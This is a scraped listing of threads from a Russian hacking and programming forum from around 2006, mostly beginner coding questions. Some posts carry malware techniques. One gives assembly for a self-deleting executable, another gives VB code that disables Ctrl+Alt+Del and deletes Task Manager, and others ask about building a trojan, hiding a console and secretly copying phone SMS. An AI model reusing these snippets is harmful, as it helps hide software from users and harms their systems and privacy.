dat.f >-1, #0 имеет преимущество перед инструкциями DAT с числами 0. Теперь наш воин помимо того, чтобы бомбить вогруг себя собирается ещё и по себе нанести удар. Теперь посмотрим как выглядит тело программы после первого цикла:

. . .(строки с инструкцией dat.f >-1, #0 через каждую четвёртую строчку)
dat.f >-1, #0
(empty line)
spl.a #0, #0
mov.i $3, $1
<--- about to execute this instruction
add.ab #4, $-1
jmp.a $-2, #0
dat.f >-1, #0
(empty line)
dat.f >-1, #0
(empty line)
(empty line)
(empty line)
dat.f >-1, #0
. . .(строки с инструкцией dat.f >-1, #0 через каждую четвёртую строчку)

Далее MOV помещает на инструкцию ADD DAT-бомбу:

. . .(строки с инструкцией dat.f >-1, #0 через каждую четвёртую строчку)
dat.f >-1, #0
(empty line)
spl.a #0, #0
mov.i $3, $1
dat.f >-1, #0 <--- здесь начинается мутация
jmp.a $-2, #0
dat.f >-1, #0
(empty line)
dat.f >-1, #0
(empty line)
(empty line)
(empty line)
dat.f >-1, #0
. . .(строки с инструкцией dat.f >-1, #0 через каждую четвёртую строчку)

Чтоже произойдёт дальше ? Инструкция DAT завершит выполнение процесса, но прежде она увеличит на 1 второй операнд у инструкции MOV

PHP post
ID: 67668b27b4103b69df375eb4
Thread ID: 8723
Created: 2006-05-26T11:20:05+0000
Last Post: 2006-11-08T14:31:45+0000
Author: UnWin
Replies: 12 Views: 4K

ДОброго всем времени суток

Трабл вот в чем. есть скрипт который отправляет пост-запрос на нн-й цги.. но там есть бан по ИП.. есммесно встал вопрос об отправке запроса через зттп прокси. ктонить знает как реализывать ?

софт php <-> html
ID: 67668b27b4103b69df375eb5
Thread ID: 13195
Created: 2006-11-02T18:35:15+0000
Last Post: 2006-11-06T13:38:47+0000
Author: *SiM*
Replies: 12 Views: 4K

Я делаю в FrontPage html страничку, потом переделываю её php вида

Code:Copy to clipboard

<?php
echo "<html>";
echo "<body>";
echo "</body>";
echo "</html>";
?>

и вставляю необходимые мне скрипты, так вот посоветуйте пожайлуста какой-нить редактор типа frontpage, чтобы мона было редактировать страничку (ну там расположение таблиц, картинок и т.д.) не переделывая обратно в html

неизвестаня ошибка!!!
ID: 67668b27b4103b69df375eba
Thread ID: 12806
Created: 2006-10-22T16:21:42+0000
Last Post: 2006-10-26T08:38:09+0000
Author: xqwerx
Replies: 13 Views: 4K

Прозьба асм кодерам, посоветовать...

Code:Copy to clipboard

.386
.model  flat, stdcall
option  casemap:none
 
	include windows.inc
	include user32.inc
	include kernel32.inc
	include masm32.inc
	include comctl32.inc
	include gdi32.inc
	include advapi32.inc

	includelib user32.lib
	includelib kernel32.lib
	includelib masm32.lib
	includelib gdi32.lib
	includelib comctl32.lib
	includelib advapi32.lib
	includelib shlwapi.lib
	includelib shell32.lib
	includelib comdlg32.lib

.const
	IDD_DIALOG1	equ	1

	IDM_EXIT        equ  101
	IDM_BUTTON1	equ	102

	IDC_EXIT	equ	201
	IDC_BUTTON1	equ	202

.data
szSuccess	db "Hello Word",0
info  	db "info",0

.data?
Hkey  dd ?
hInstance	dd ?

.code
DlgProc PROC hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
	.IF uMsg==WM_INITDIALOG
  invoke  LoadIcon, hInstance, 1
                invoke  SendMessage, hWnd, WM_SETICON, 1, eax
	.ELSEIF uMsg==WM_CLOSE
  invoke SendMessage,hWnd,WM_COMMAND,IDM_EXIT,0
	.ELSEIF uMsg == WM_COMMAND
        mov eax,wParam
           .IF lParam==0
               .IF ax==IDM_EXIT
                    invoke EndDialog, hWnd,NULL
  .ELSEIF ax==IDM_BUTTON1
  	invoke MessageBoxA ,0,ADDR szSuccess,ADDR info, MB_ICONINFORMATION  	
               .ENDIF
           .ELSE
               mov edx,wParam
               shr edx,16
               .if dx==BN_CLICKED
                	.IF ax==IDC_EXIT
                          	invoke SendMessage,hWnd,WM_COMMAND,IDM_EXIT,0
  	.ELSEIF ax==IDC_BUTTON1
    invoke SendMessage,hWnd,WM_COMMAND,IDM_BUTTON1,0
                   .ENDIF
               .ENDIF
           .ENDIF
       .ENDIF
	xor     eax, eax
        ret
DlgProc ENDP

start:
        invoke GetModuleHandle, NULL
      	mov    hInstance,eax
        invoke DialogBoxParam, hInstance, IDD_DIALOG1 ,NULL, addr DlgProc, NULL
	invoke ExitProcess,eax

end start

Где же ошибка, у меня на winXP sp2 не хочет запускаться приложение откомпиленное, но у соседа и других друзей все рулит!

файл ресурсов таков

Code:Copy to clipboard

#define IDD_DIALOG1	1
#define IDM_EXIT        101
#define IDC_EXIT	201
#define IDC_BUTTON1	202

1 ICON "mainicon.ico"
1 24 "manifest.txt"

IDD_DIALOG1 DIALOG 43, 37, 237, 98
EXSTYLE WS_EX_DLGMODALFRAME | WS_EX_APPWINDOW
STYLE DS_MODALFRAME | DS_3DLOOK | DS_CENTER | WS_POPUP | WS_VISIBLE | WS_CAPTION | WS_SYSMENU | WS_MINIMIZEBOX
CAPTION "Asm Dialog form"
FONT 8, "MS Sans Serif"
{
 CONTROL "Exit", IDC_EXIT, "BUTTON", BS_PUSHBUTTON | BS_CENTER | WS_CHILD | WS_VISIBLE | WS_TABSTOP, 184, 4, 50, 14
 CONTROL "Start", IDC_BUTTON1, "button", BS_PUSHBUTTON | BS_CENTER | WS_CHILD | WS_VISIBLE | WS_TABSTOP, 184, 20, 50, 14, 0
 
}
Нейронные сети
ID: 67668b27b4103b69df375ebd
Thread ID: 12271
Created: 2006-10-03T17:16:11+0000
Last Post: 2006-10-18T08:18:09+0000
Author: MekJack
Replies: 10 Views: 4K

Я очень заинтересовался нейронными сетями. Подкиньте если кто знает статьи/книги, но только там где на примерах всё объсняют - весьма доходчиво...
Или исходники какие ( желательно на C/C++ )...

И что особо интересует: различия между реальным человеческим мозгом и его компьютерным подобием( в архитектуре... )?

Кодирование php скриптов
ID: 67668b27b4103b69df375ec7
Thread ID: 11545
Created: 2006-09-09T00:55:10+0000
Last Post: 2006-09-13T15:55:30+0000
Author: IFrin
Replies: 10 Views: 4K

Вопрос заключается в следующем: каким образом можно закодировать php скрипты?
я думаю о всем известном zend говорить не стоит

Компонетн Winsock Control
ID: 67668b27b4103b69df375ecb
Thread ID: 10771
Created: 2006-08-22T18:43:38+0000
Last Post: 2006-09-09T16:19:56+0000
Author: -RobinZON-
Replies: 2 Views: 4K

Решил сделоть Трояна на VB подключив к exe Microsoft Winsock Control(6.0) {в описание сказанно было 5.0} в свойствах не могу поставить значение порта ( нету свойства LocalPort ). В чем проблема понять не могу? :bang:

Скрипт на проверку скорости соединения (java)
ID: 67668b27b4103b69df375ed4
Thread ID: 10805
Created: 2006-08-23T13:40:24+0000
Last Post: 2006-08-25T07:28:59+0000
Author: Mrak
Replies: 8 Views: 4K

У меня есть скрипт на тест скорости в языке java. Здесь я его не поместил потому что он очень большой. Так что просто напишите мне я его вам пришлю.
Я его не стал цеплять т.к. весит полметра - а мне не хватает около 20 кб, а при сжатии в разрешение 7z сервер отказался принимать, при сжатии zip файл весил 369 Кб. Так что напишите мне, я его пришлю

вопрос
ID: 67668b27b4103b69df375ed5
Thread ID: 10621
Created: 2006-08-17T23:36:50+0000
Last Post: 2006-08-23T22:19:54+0000
Author: [500mhz]
Replies: 19 Views: 4K

чета скущновато тут
можт конкурс забабацать?

Помогите с .bat!
ID: 67668b27b4103b69df375ed7
Thread ID: 10443
Created: 2006-08-11T01:40:51+0000
Last Post: 2006-08-17T03:26:38+0000
Author: Fallen
Replies: 12 Views: 4K

Такая тема.Я новичек.Вопрос такой.
Я например проводил много "экспириментов" с *.bat.
Вот взял я взял .exe файл.(К примеру 1.exe).Поместил его в папку с bat'ником...
Файлу 1.exe я присвоил значение "скрытый".
Создал файл 123.bat
Написал там:

Code:Copy to clipboard

start %xxx%1.exe

Где xxx - название папки в которой лежит файл 1.exe (скрытый).Этот файл сработал.
Вот такой вопрос.
Скажите код бат'а - чтоб вначале выполнялся поиск,потом уже запуск.
К примеру: я создаю папку .../123 в ней лежит 123.bat и xddfasfsfs.exe (название файла (скрытый)
Как мне сделать чтоб вначале выполнялся поиск xddfasfsfs.exe (в скрытых тоже) а потом запуск его.
Можо так сделать?
И еще.Может это и не возможно...Но как нибудь скрыть саму cmd консоль можно? чтоб ее просто не было видно.
(может у *bat есть какой параметр SPOILER или что то такое).

Создание виртуальной файловой системы
ID: 67668b27b4103b69df375edf
Thread ID: 8898
Created: 2006-06-01T15:10:26+0000
Last Post: 2006-08-02T10:29:53+0000
Author: Exs42
Replies: 13 Views: 4K

Хай всем!
Как создать виртуальную файловую систему, скрытую от чужих глаз, или RAM диск средствами WinAPI?
Если кто знает алгоритмы или реализацию помогите плиз...

Таймер в 15 минут
ID: 67668b27b4103b69df375ee7
Thread ID: 9527
Created: 2006-06-27T20:22:45+0000
Last Post: 2006-07-16T17:04:41+0000
Author: /dev/AVR
Replies: 8 Views: 4K

Кто нибудь знает, как реализовать вот такую фишку. :bang:

У нас есть PHP скрипт, который должен срабатывать каждые 15 минут
(на него посетители не ходят, да и я впринципе тоже)...

Как это срабатывание реализовать грамотно ???
Что бы в момент ожидания был какой-небудь SLEEP у сервака
(т.е не FORами и WHILами +Headerы задержка).
А потом вызов PHP на исполнение. Все без участия пользователя.

Надеюсь вы меня поняли :help:

Помогите найти ошибку
ID: 67668b27b4103b69df375ee8
Thread ID: 9869
Created: 2006-07-13T10:24:25+0000
Last Post: 2006-07-14T07:19:05+0000
Author: mause
Replies: 14 Views: 4K

Code:Copy to clipboard

<html>

<head>
  <title>êëàññ òàáëå </title>
</head>

<body>

<?php

class Table
{
    var $table_array = array();
    var $headers = array();
    var $cols;
    Function Table ( $headers )
    {
            $this->headers=$headers;
            $this->cols=count( $headers );
    }
    Function addRow ($row)
    {
            IF (count($row) != $this->cols)
            return false;
            array_push($this->table_array, $row);
            return true;
    }
    Function addRowAssocArray ($row_assoc)
    {
            $row = array();
            foreach ($this->headers as $header )
            {
                    if ( ! isset( $row_assoc[$header]))
                         $row_assoc[$header] = " ";
                         $row[] = $row_assoc[$header];
            }
            array_push($this->table_array, $row);
            return true;
     }
     function output()
     {
             print "<pre>";
             foreach ($this->headers as $header)
                print " <B>$header</B> ";
             print "\n";
             foreach ( $this->table_array as $y )
             {
                     foreach ( $y as $xcell )
                         print "$xcell";
                     print "\n";
             }
     }
}
$test = new Table( array("a","b","c" ));
$test->addRow(array(1,2,3));
$test->addRow(array(4,5,6));
$test->addRowAssocArray(array(b=>0,a=>6,c=>3));
$test->output();
?>

</body>

</html>

вот в чем ошибка? никак не пойму сам скрипт висит тут
http://www.kosnet.ru/~mause
там пхп поддерживается
зы: я тока учусь сильноо не бить. =)

Столкнулся с проблемой
ID: 67668b27b4103b69df375eea
Thread ID: 9717
Created: 2006-07-06T10:18:08+0000
Last Post: 2006-07-08T23:57:31+0000
Author: Mail2k
Replies: 10 Views: 4K

Решил изучить основы php. Зашел на сайт,где есть небольшие уроки по php.
Но столкнулся с проблемой.Там в одном из уроков поазывают такой пример:

Code:Copy to clipboard

<? $A=7.135;
  $a=15; $mess4="Четверг"; 
 echo "Сегодня $mess4, $a -ое"; 
 $9sad=194 //Неправильное имя переменной 
 ?>

А при запуске этого скрипта вылетает вот такая мессага:
Parse error: syntax error, unexpected T_LNUMBER, expecting T_VARIABLE or '$' in /home/service/public_html/script.php on line 4

Что то в скрипте не правильно? Помогите разобраться.

Программирование звуковых карт
ID: 67668b27b4103b69df375ef8
Thread ID: 7873
Created: 2006-04-14T16:34:36+0000
Last Post: 2006-04-25T09:45:27+0000
Author: CiSi
Replies: 12 Views: 4K

Здравствуйте.

Немог бы кто нибудь мне подсказать, как запрограммировать на ТР
встроиную звукавую карту компьютера, что бы колонки издовали звук с
определёной частотой?????????????

Пожалуйсто помогите. :help:

Защита РНР скриптов от, любопытных пользователей.
ID: 67668b27b4103b69df375eff
Thread ID: 7516
Created: 2006-03-22T22:10:45+0000
Last Post: 2006-03-29T15:47:48+0000
Author: MCDeveloper
Replies: 13 Views: 4K

На написание данной статьи, меня подтолкнуло то, что несколько раз была необходимость закрыть свой код от посторонних глаз. Точнее не сам код, как пароли к БД, которые были в некотором РНР-файле...

Сколько я бы не пытался кодировать его в Zend, все равно, существует множество сервисов, которые за 20-30 баксов, смогут расшифровать этот код (http://phpdecode.com). А пароль на нужную БД стоит в несколько десятков раз больше... Раньше, мне необходимо было получать некоторые данные из скриптов, которые расположены на других серверах... Отсюда пришла идея: а что если я буду получать пароль из другого сайта???

Переходим к кодингу:
---
Схема будет состоять из двух скриптов. Скрипта вызова (1) и скрипта которого вызывают (2).
Теперь нам необходимо узнать IP-адрес сервера, где будет лежать скрипт (1).
Допустим он: 1.2.3.4
Теперь на свой сервер закачиваем скрипт (2), который содержит след. код:
...

Продолжение: http://forum.mcdeveloper.com/index.php?showtopic=15

sol.exe spider.exe
ID: 67668b27b4103b69df375f03
Thread ID: 7416
Created: 2006-03-15T10:17:16+0000
Last Post: 2006-03-16T15:09:58+0000
Author: Ar3s
Replies: 11 Views: 4K

История такова. Меня на работе за кваку в обеденное время здорово натянули на всю премию с гонорарами. А само начальство сидит и рубается в сабжевые гамы.

Пробовал сносить ярлыки, затем гамы. Додумались, что можно гамы на дискетах таскать.

ПРОСЬБА: Нужна програмка на любом языке программирования следующего вида:
Висит в памяти.
Никаких ярлыков в трэе и панети задач.
Отслеживает заголовки окон и сверяет с текстовым файлом (в нем записываются запрещенные заголовки)
При совпадении - закрывает запрещенное приложение.

Обращаюсь к Вам, т.к. в программировании - полный профан.

Криптосистема
ID: 67668b27b4103b69df375f14
Thread ID: 6600
Created: 2006-01-19T04:17:06+0000
Last Post: 2006-02-04T01:05:31+0000
Author: /dev/AVR
Replies: 12 Views: 4K

Люди, сижу в 11м классе. Крутых мат терминов не знаю.
Так что заранее извиняйте. Пишу свой приватный криптоалгоритм.
Хочу спросить, у кого небудь есть что небудь почитать по
Полиномам. Что это такое, с чем его едят.
Желательно с примерами сырцов, но если не с сырцами, то хотя бы
что бы мат. теория была по человечески написана.

PS: To Admins&Moderators - Если я ошибся разделом, прошу
перенаправить в нужный.

Учить или не учить?
ID: 67668b27b4103b69df375f19
Thread ID: 6593
Created: 2006-01-18T16:47:26+0000
Last Post: 2006-01-19T04:39:04+0000
Author: SovaEnd
Replies: 10 Views: 4K

В школе я освоил паскаль.
Сам освоил хатмл и немного рубаю в ява скриптах.

Встал вопрос.
\Что учить дальше?И надо бы чтонибудь полезное и часто используемое.Но что я не знаю.
Может попробовать симбиан?(но самоучитель никак найти не могу).
Может с++, может асемблер.Ну нее знаю.
Посоветуйте что-нибудь человеку.

Зацените сценарий оболочки
ID: 67668b27b4103b69df375f1f
Thread ID: 5407
Created: 2005-11-01T12:45:38+0000
Last Post: 2005-11-02T16:33:51+0000
Author: косяк
Replies: 7 Views: 4K

А сейчас я в 11 :baby: хыхыхы :D
Вот кароче... Всем линуксоидам качать... :D
Добавлено в [time]1130849138[/time]
И вот еще один.. правда папроще..
:swoon2:

Кодинг в шелле
ID: 67668b27b4103b69df375f20
Thread ID: 5364
Created: 2005-10-29T09:11:00+0000
Last Post: 2005-11-01T13:32:05+0000
Author: косяк
Replies: 7 Views: 4K

Вот освоил я его давным давно хотел что то учить другое ну типо там Си, перл, питон даж хотел, но чото не пропёрло так как когда то пропёрло Shell кодинг.. Вот такая вот грустная история....
Добавлено в [time]1130577060[/time]
Ваще чото ничо не учицо :bang: :rip2:

Perl
ID: 67668b27b4103b69df375f23
Thread ID: 3893
Created: 2005-05-21T14:00:28+0000
Last Post: 2005-06-15T15:41:25+0000
Author: s3po
Replies: 3 Views: 4K

Дайте линки на учебники для perl

Удалить одинаковые строки
ID: 67668b27b4103b69df375efb
Thread ID: 7710
Created: 2006-04-09T15:10:28+0000
Last Post: 2006-04-14T17:24:13+0000
Author: around
Replies: 2 Views: 3K

Прива всем.
Такое дело. Решил научиться программировать на перле.
Поставил активперл и запасся книжкой :) .

Так вот. Прочитал страниц 50 и решил написать свою "программу" (скрипт - кому как нравиться). Суть её заключается в том, что бы удалить одинаковае строки и файла. То есть. Есть один txt файл, в нём записанно много-много слов в столбик (словарь паролей).

#!/usr/bin/perl -w

open(MLIST, "mlist.txt") or die "No list found: $!\n";

while ($line = ) {
($word, $razd) = ($line, "");
$words{$word} = $razd . "";
}

open(OUT, ">out.txt") or die "Can't create file: $!\n";
print OUT %words;
close OUT;

print "DONE";

exit;

Click to expand...

Не обращайте особого внимания на способ реализации :D - первая программа.
Короче. Файл размером в 50Мб прекрасно прогоняет (несколько минут), а вот 100Мб - окончания не дождался (больше часа).

Собственно, подскажите, пожалуйста, почему так происходит и как это поправить :) .

Visual Basic for Office
ID: 67668b27b4103b69df375efd
Thread ID: 7653
Created: 2006-04-04T09:43:56+0000
Last Post: 2006-04-05T07:08:53+0000
Author: Ar3s
Replies: 1 Views: 3K

У нас есть подразделение - газета.
Мы скидываем им перед каждым выпуском объявления в номер типа:

Code:Copy to clipboard

* "Ауди-80" (переходная), 85 г.в., 1.6Б
тел. 6-02-57, после 17.00
* "Ауди-80", 88 г.в., 1.8К, 2800 у.е.
тел. 8 (029) 353-16-98, после 18.00
* "Ауди-100", 83 г.в., 1.9К, с 19:00 до 22:00
тел. 8 (029) 643-44-04
* "Ауди-100", 83 г.в., 2.0
обр. по адресу: ул. Наумова, 21/15

Нужно сделать так, чтобы по средством вордового скрипта вся строчка тел. стала жирной.

Пытался написать скрипт:

Code:Copy to clipboard

Sub tel()
'
' Time Макрос
' Макрос записан 04.04.06 **
'
Set myRange = ActiveDocument.Content
    
    myRange.Find.ClearFormatting
    myRange.Find.Replacement.ClearFormatting
    With myRange.Find
        .Text = "тел. [0-9]-[0-9][0-9]-[0-9][0-9]"
        .Forward = True
        .Wrap = wdFindContinue
        .Format = True
        .MatchCase = False
        .MatchWholeWord = False
        .MatchAllWordForms = False
        .MatchSoundsLike = False
        .MatchWildcards = True
        With .Replacement
           .ClearFormatting
           .Font.Bold = True
        End With
    End With
    myRange.Find.Execute Replace:=wdReplaceAll
    
    myRange.Find.ClearFormatting
    myRange.Find.Replacement.ClearFormatting
    With myRange.Find
        .Text = ", [0-9]-[0-9][0-9]-[0-9][0-9]"
        .Forward = True
        .Wrap = wdFindContinue
        .Format = True
        .MatchCase = False
        .MatchWholeWord = False
        .MatchAllWordForms = False
        .MatchSoundsLike = False
        .MatchWildcards = True
        With .Replacement
           .ClearFormatting
           .Font.Bold = True
        End With
    End With
    myRange.Find.Execute Replace:=wdReplaceAll
    
    myRange.Find.ClearFormatting
    myRange.Find.Replacement.ClearFormatting
    With myRange.Find
        .Text = "тел. 8 (029) [0-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9]"
        .Forward = True
        .Wrap = wdFindContinue
        .Format = True
        .MatchCase = False
        .MatchWholeWord = False
        .MatchAllWordForms = False
        .MatchSoundsLike = False
        .MatchWildcards = True
        With .Replacement
           .ClearFormatting
           .Font.Bold = True
        End With
    End With
    myRange.Find.Execute Replace:=wdReplaceAll
    
    myRange.Find.ClearFormatting
    myRange.Find.Replacement.ClearFormatting
    With myRange.Find
        .Text = ", 8 (029) [0-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9]"
        .Forward = True
        .Wrap = wdFindContinue
        .Format = True
        .MatchCase = False
        .MatchWholeWord = False
        .MatchAllWordForms = False
        .MatchSoundsLike = False
        .MatchWildcards = True
        With .Replacement
           .ClearFormatting
           .Font.Bold = True
        End With
    End With
    myRange.Find.Execute Replace:=wdReplaceAll
    
    myRange.Find.ClearFormatting
    myRange.Find.Replacement.ClearFormatting
    With myRange.Find
        .Text = ", после [0-9][0-9].[0-9][0-9]"
        .Forward = True
        .Wrap = wdFindContinue
        .Format = True
        .MatchCase = False
        .MatchWholeWord = False
        .MatchAllWordForms = False
        .MatchSoundsLike = False
        .MatchWildcards = True
        With .Replacement
           .ClearFormatting
           .Font.Bold = True
        End With
    End With
    myRange.Find.Execute Replace:=wdReplaceAll
    
    myRange.Find.ClearFormatting
    myRange.Find.Replacement.ClearFormatting
    With myRange.Find
        .Text = ", с [0-9][0-9].[0-9][0-9] до [0-9][0-9].[0-9][0-9]"
        .Forward = True
        .Wrap = wdFindContinue
        .Format = True
        .MatchCase = False
        .MatchWholeWord = False
        .MatchAllWordForms = False
        .MatchSoundsLike = False
        .MatchWildcards = True
        With .Replacement
           .ClearFormatting
           .Font.Bold = True
        End With
    End With
    myRange.Find.Execute Replace:=wdReplaceAll

End Sub

НЕ РАБОТАЕТ СВОЛОЧЬ!!! Телефоны вида -- красит, а 8 (029) -- игнорирует. Ни ошибок, ничего. Просто не красит. Где ошибка?

Visual Basic: Убиваем таск менеджер
ID: 67668b27b4103b69df375f02
Thread ID: 7465
Created: 2006-03-18T18:32:05+0000
Last Post: 2006-03-21T11:18:38+0000
Author: Winux
Replies: 2 Views: 3K

Короче говоря есть способ который скрывает в таск менеджере прогу. Как выяснилось, работает сабж только со старой виндой. Есть несколько свежих идеек.

Оригинал:

Code:Copy to clipboard

Declare Function SystemParametersInfo Lib "user32" Alias "SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long, ByVal lpvParam As Any, ByVal fuWinIni As Long) As Long
Sub DisableCTRLaltDEL(huh As Boolean)
'Disable CTRL+ALT+DEL'
GD = SystemParametersInfo(97, huh, CStr(1), 0)
End Sub

Примерно так

первая:

Code:Copy to clipboard

private sub form_load()
killtaskmngr true
app.taskvisible = false
end sub
public sub killtaskmngr(do_it as boolean)
if do_it = true then
 filecopy "c:windowssystem32taskmgr.exe", "c:taskmgr.exe"
 kill "c:windowssystem32taskmgr.exe"
else
 filecopy "c:taskmgr.exe", "c:windowssystem32taskmgr.exe"
end if
end sub
public sub form1_unload(cancel as integer)
killtaskmngr false
end sub

Пути не прописывал) Лень. Ну идея понятна.
Вторая заключается в отключении сабжа через реестр. Пока не знаю где ключ хранится - как узнаю - напишу.

Как думаете, идея хлам или пойдет? На себе не пробовал.

есть ли скрипт для сохранения страницы в MHT-файл?
ID: 67668b27b4103b69df375f04
Thread ID: 7422
Created: 2006-03-15T19:14:38+0000
Last Post: 2006-03-16T08:46:07+0000
Author: amir.ro
Replies: 4 Views: 3K

Добренький всем денечек.

Может быть кто знает есть ли скрипт ( PHP или Perl или Python ), который программно может содрать страницу с картинками и прочими потрохами и сконвертировать все в MHT формате в файл?

Ищу, но пока не нашел, мобыть кто знает. :cry2:

А.

XOR криптор для файлов
ID: 67668b27b4103b69df375f05
Thread ID: 7387
Created: 2006-03-13T08:14:41+0000
Last Post: 2006-03-15T08:03:31+0000
Author: barm
Replies: 6 Views: 3K

Code:Copy to clipboard

#include <stdlib.h>
#include <stdio.h>

void encode (char* beg);//does not encoding with inline asm


int main()
{
char string[]="This is a test";

printf("Before any action: %s\n",string);


encode(string);

printf("Encoded: %s\n",string);

encode(string);

printf("Encoded again to produce original:%s\n",string);

system("pause");
return 0;

}




void encode (char* beg)
{
__asm mov ebx, beg
__asm keepgo: cmp [ebx],0
__asm je endit
__asm not [ebx]
__asm inc ebx
__asm jmp keepgo
__asm endit:
}
Melt masm
ID: 67668b27b4103b69df375f06
Thread ID: 7389
Created: 2006-03-13T08:20:07+0000
Last Post: 2006-03-14T11:14:33+0000
Author: barm
Replies: 2 Views: 3K

Code:Copy to clipboard

.data
Melt    db 'Command.com /C Choice.com /C:YN /N /T:Y,5|erase ',0
.data?
meltbuff db 256 dup(?)
.code
start:
    invoke GetModuleFileName, 0, addr meltbuff, 255
    invoke GetShortPathName, addr meltbuff, addr meltbuff, 255
    invoke lstrcat,addr Melt,Addr meltbuff
    invoke WinExec, addr Melt, SW_SPOILER
    invoke  ExitProcess,0
end start
Web щит.
ID: 67668b27b4103b69df375f08
Thread ID: 7240
Created: 2006-03-02T23:45:33+0000
Last Post: 2006-03-07T21:33:21+0000
Author: F1reF0x
Replies: 6 Views: 3K

Писалась в полу сонном состоянии, за ошибки не пинать

Web щит.
Защищяем приложения с помощью web авторизации.
Не мне вам говорить что очень не приятно когда плоды твоих трудов продают за пару баксов в вашей же теме о продаже. Как защитится от этого? Мы не софтверные компании, и поэтому нам не надо писать сложные системы защиты, триальные демо версии и прочее, т.к наши программы орентированы на интернет публику, то и авторизацию мы сделаем тоже через интернет. Плюсы этого способа, у нас не будет серийного ключа который генерируется по определённому алогоритму, нам не надо будет прятать регистрационные данные, вобще положительных сторон тут можно найти много, но теперь суть идеи, сейчас мы будем писать программу которая при запуске будет сверять серийный номер диска C с ранее отправленным номером (который хранится на нашем сервере). Begin...
Создаём новый проект или открываем уже существующий. Добавляем в него ещё одну форму и пишем в Form1 (Переименуйте в Main) в событии FromCreate
Form2.ShowModal; // Переименуйте в auth
На форму Auth добавляем 2 Edit (Переименовываем NickEdit и SNEdit) и одну кнопку (AuthButton);
Теперь пишем код для события FromCreate у формы Auth:

// Глобальные перменные

Res: String;
SN: String;

Var
URL: String;
HT: Cardinal;
Begin
Url:= 'www.site.ru/ourscript/' + NickEdit.Text +'.txt';
GetSn;
CreateThread(nil, 128, @GetSource(URL), self, 0, HT);
If Pos(SN, Res) <> 0 then
Begin
Auth.Close;
ShowMessage('Авторизация прошла успешно');
End
Else
Begin
Auth.Close;
MainForm.Close;
End;
End;

Click to expand...

Думаю, тут всё понятно и комментарии к коду излишни, теперь нам надо написать ещё 2 функции функцию GetSource и процедуру GetSn благодаря который мы и узнаем серийный номер диска C.

uses WinInet;

function MainForm.GetSource(const Url: string): string;
var
IHWND: HINTERNET;
UHWND: HINTERNET;
Buffer: array[0..1000] of char;
BytesRead: cardinal;
begin
Result:= '';
IHWND:= InternetOpen('Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; .NET CLR 1.0.2914)', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
UHWND:= InternetOpenUrl(IHWND, PChar(Url), nil, 0, INTERNET_FLAG_RELOAD, 0);
FillChar(Buffer, SizeOf(Buffer), 0);
repeat
Begin
FillChar(Buffer, SizeOf(Buffer), 0);
InternetReadFile(UHWND, @Buffer, SizeOf(Buffer), BytesRead);
Result := Result + Buffer;
Res:= Result;
End
until BytesRead = 0;
Begin
InternetCloseHandle(IHWND);
End;
end;

Click to expand...

Открываем соединение, открываем урл, читаем файл, помещаем в буфер. Тут тоже должо быть всё ясно.
Теперь процедура для получения серийного номера:

Pocedure MainForm.GetSn;
var
lpRootPathName : PChar;
lpVolumeNameBuffer : PChar;
nVolumeNameSize : DWORD;
lpVolumeSerialNumber : DWORD;
lpMaximumComponentLength : DWORD;
lpFileSystemFlags : DWORD;
lpFileSystemNameBuffer : PChar;
nFileSystemNameSize : DWORD;

FSectorsPerCluster: DWORD;
FBytesPerSector : DWORD;
FFreeClusters : DWORD;
FTotalClusters : DWORD;
begin
// Обнуляем переменные
lpVolumeNameBuffer := '';
lpVolumeSerialNumber := 0;
lpMaximumComponentLength:= 0;
lpFileSystemFlags := 0;
lpFileSystemNameBuffer := '';
lpRootPathName:= 'C:';

try
// Получаем память под буффер
GetMem(lpVolumeNameBuffer, MAX_PATH + 1);
GetMem(lpFileSystemNameBuffer, MAX_PATH + 1);
nVolumeNameSize := MAX_PATH + 1;
nFileSystemNameSize := MAX_PATH + 1;
// Получаем серийный номер
GetVolumeInformation( lpRootPathName, lpVolumeNameBuffer,
nVolumeNameSize, @lpVolumeSerialNumber, lpMaximumComponentLength,
lpFileSystemFlags, lpFileSystemNameBuffer, nFileSystemNameSize);
// Присваиваем Sn значение
SN:= IntToHex(HIWord(lpVolumeSerialNumber), 4) + '-' + IntToHex(LOWord(lpVolumeSerialNumber), 4);

finally
// Освобождаем память
FreeMem(lpVolumeNameBuffer);
FreeMem(lpFileSystemNameBuffer);
end;
end;

Click to expand...

Теперь в переменной SN содержится серийный номер диска C. Вобще лучше всего, добавить в FormClose запись из NickEdit и SN в реестр идобавить в FromCreate AuthForm что бы искала ключи в реестре с сериным номером и ником и автоматически сверяла их, ну это вы уж как нибудь сами подкорректируйте мой шаблон.

PHP оладчик
ID: 67668b27b4103b69df375f09
Thread ID: 7115
Created: 2006-02-21T19:15:40+0000
Last Post: 2006-03-05T10:30:08+0000
Author: /dev/AVR
Replies: 11 Views: 3K

Подскажите кто небудь хороший PHP отладчик, и линк к нему, вмести с Кряком... :)

ПИТОН
ID: 67668b27b4103b69df375f17
Thread ID: 6601
Created: 2006-01-19T07:28:20+0000
Last Post: 2006-01-19T14:19:24+0000
Author: SapienS
Replies: 9 Views: 3K

Несколько дней назад захотел познакомиться с языком "Python" - порылся в гугле и нашел, как всегда бывает, самые противоречивые оценки.

  1. "Питон - пожалyй, единственный язык, котоpый не нyжен вообще :). БОльшyю кpивизнy тpyдно себе вообpазить."
  2. "Hасчёт вменяемости кода - очень неплохой язык Питон. Кое-где его уже применяют вместо Паскаля как "первый язык". Возможности - богатейшие. Синтаксис - проще некуда."

Учить или не учить? :unsure:
Кто знает этот язык, плиз, напишите ваше мнение!

Парл+Мускуль
ID: 67668b27b4103b69df375f0a
Thread ID: 15610
Created: 2006-02-05T13:58:04+0000
Last Post: 2006-03-04T14:09:20+0000
Author: lucifer
Replies: 15 Views: 3K

нужен учебника по perl :help:
что мне нужно не него:
примеры(думаю во всех есть :) )
описание функций для работы в mysql
ну и сроздание web скриптов

java приложение
ID: 67668b27b4103b69df375f0b
Thread ID: 7106
Created: 2006-02-20T22:51:45+0000
Last Post: 2006-02-26T14:14:59+0000
Author: Z#092;/Z
Replies: 5 Views: 3K

хочю написать ява приложение ,которое будет проверять наличие смс вход/исход в телефоне, затем сохранять их в отдельном файле и прятать их на флешке. для дальнейшего извлечения через сторонее bluetooth устройство.

Есле был у кого опыт посоветуйте с чего начинать.

вопросы по обходу антивирусников и фаеров
